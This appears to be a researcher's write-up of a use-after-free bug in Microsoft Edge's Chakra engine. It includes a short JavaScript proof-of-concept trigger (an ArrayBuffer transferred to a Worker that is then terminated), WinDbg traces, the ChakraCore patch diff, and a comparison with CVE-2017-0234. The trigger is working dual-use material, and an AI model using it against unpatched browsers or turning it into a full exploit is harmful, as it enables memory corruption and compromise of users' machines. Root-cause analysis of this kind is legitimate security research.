About another UAF of Microsoft Edge

debug enviorment: Windows10 + Windbg

POC

1
2
3
4
5
6
7
<script>
var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);
var worker = new Worker('uaf1.js');
worker.postMessage(buffer,[buffer]);
worker.terminate();
</script>

Attach to microsoftedgecp.exe

first we set breakpoint at the common caller function of chakracore (amd64_call)

for javascript code

1
var buffer = new ArrayBuffer(0x10000);

the debugger stops at

1
chakra!Js::ArrayBuffer::NewInstance

then it calls the create function

pic1

to create an arraybuffer which size=0x10000
and rax return a pointer to the arraybuffer object (not the arraybuffer itself)

pic2

and let’s see the construction of this object

size=0x10000,and there is also a pointer to the address of the arraybuffer

the javascript call a function to make a typearray based on the arraybuffer

1
var view = new Uint32Array(buffer);

the debugger stops at

1
typeArray::NewInstance

it is a function template

pic3

and finally rax returns a pointer to the view object

pic4

there is also a pointer to the arraybuffer

then javascript calls the constructor of Worker

1
var worker = new Worker('uaf1.js');

Worker constructor is an external function in edgehtml.dll

and here we got the key point: Worker calls postMessage function

1
worker.postMessage(buffer,[buffer]);

pic5

follow the call stack , we get back to chakra.dll

1
2
3
4
5
6
7
02 000000a6`df2fbae0 00007ffa`b581383a chakra!ScriptEngine::GetJavascriptOperationsInternal+0x2d
03 000000a6`df2fbb10 00007ffa`b581356a EDGEHTML!CMessagePort::ValidateAndConvertTransferableArray+0x46
04 000000a6`df2fbb90 00007ffa`b4b809ae EDGEHTML!CMessagePort::PrepDataStream+0xd6
05 000000a6`df2fbc20 00007ffa`b4b80914 EDGEHTML!CMessagePort::PostMessageHelper+0x86
06 000000a6`df2fbcd0 00007ffa`b55ce812 EDGEHTML!CMessagePort::Var_postMessage+0x58
07 000000a6`df2fbd30 00007ffa`b4642643 EDGEHTML!CFastDOM::CWorker::Trampoline_postMessage+0x72
08 000000a6`df2fbd90 00007ffa`b44d9846 chakra!amd64_CallFunction+0x93

then edge calls Js::ArrayBuffer:DetachAndGetState function

surprised, it just call chakra!Js::ArrayBuffer::ClearParentsLength instead of setting the pointer=null

the source code of this function

1
TypedArrayBase::FromVar(parent)->length = 0;

so that we could use view object to get memory of the arraybuffer

for there isn’t any check (if arraybuffer is freed?) in jitted code , it turns into a UAF vuln

the patch of microsoft

https://github.com/Microsoft/ChakraCore/commit/1ae7e3ce95515758b4cd7215cb4e48539a0f4031

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
case TypeIds_Int32Array:
+ if (Int32VirtualArray::Is(parent))
+ {
+ if (VirtualTableInfo<Int32VirtualArray>::HasVirtualTable(parent))
+ {
+ VirtualTableInfo<Int32Array>::SetVirtualTable(parent);
+ }
+ else
+ {
+ Assert(VirtualTableInfo<CrossSiteObject<Int32VirtualArray>>::HasVirtualTable(parent));
+ VirtualTableInfo<CrossSiteObject<Int32Array>>::SetVirtualTable(parent);
+ }
+ }
+ TypedArrayBase::FromVar(parent)->ClearLengthAndBufferOnDetach();
+ break;
+

for detach operation

1
2
3
4
5
6
7
8
+ void DataView::ClearLengthAndBufferOnDetach()
+ {
+ AssertMsg(this->GetArrayBuffer()->IsDetached(), "Array buffer should be detached if we're calling this method");
+
+ this->length = 0;
+ this->buffer = nullptr;
+ }
+

okay, they set the pointer=null, and also set the virtual table of view object to its parent’s (arraybuffer object) virtual table

to draw a conclusion , we could see this vuln is similar to CVE-2017-0234

there are some common features they shared

  1. jitted code does not check some important data

  2. edge does not crash, it handle the access violation exception

  3. if we could read & write at the same time, it’s easy to make an exploit